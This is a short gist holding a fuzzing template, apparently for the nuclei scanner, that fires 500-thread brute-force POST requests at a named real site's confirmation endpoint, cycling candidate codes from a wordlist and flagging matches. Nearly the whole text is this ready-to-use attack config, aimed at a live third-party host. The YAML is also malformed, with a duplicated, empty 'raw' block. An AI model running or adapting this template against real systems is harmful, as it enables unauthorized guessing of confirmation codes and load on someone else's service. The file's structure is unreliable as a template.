fuzzing-burp.yaml

gistfile1.txt

id: fuzzing-example
info:
  name: Connection pooling example
  author: pdteam
  severity: info

requests:
  - payloads:
      code: codes.txt

    threads: 500
    attack: sniper

    raw:
      - |
    raw:
      - |
        POST /post.php HTTP/1.1
        Host: confirm.ibood.com
        Origin: https://confirm.ibood.com
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Sec-Fetch-Site: same-origin
        Sec-Fetch-Mode: navigate
        Sec-Fetch-User: ?1
        Sec-Fetch-Dest: document
        Referer: https://confirm.ibood.com/
        Accept-Encoding: gzip, deflate
        Accept-Language: en-US,en;q=0.9
        Connection: close

        confirmation=0123456789s21s.§code§

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "Unique string"
        part: body